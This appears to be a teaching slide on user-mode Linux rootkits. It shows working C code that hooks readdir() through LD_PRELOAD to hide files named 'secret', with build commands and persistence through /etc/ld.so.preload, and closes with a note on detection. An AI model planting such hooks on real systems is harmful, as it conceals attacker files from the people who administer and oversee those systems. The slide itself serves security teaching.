User Mode (Linux): LD_PRELOAD

A shared library loaded before libc can override standard

functions — e.g. wrap readdir() to skip hidden files.

/* evil.c : hide any entry named "secret" */
struct dirent *readdir(DIR *d) {
    static struct dirent *(*real)(DIR *) = 0;
    if (!real) real = dlsym(RTLD_NEXT, "readdir");
    struct dirent *e;
    while ((e = real(d)))
        if (strstr(e->d_name, "secret") == 0) return e;
    return 0;   /* skip our files */
}
/* $ gcc -shared -fPIC evil.c -o evil.so -ldl
   $ export LD_PRELOAD=/path/evil.so   (or add to /etc/ld.so.preload) */

Purely user mode: no root needed for your own shell, but easy to spot in

/etc/ld.so.preload or process environment.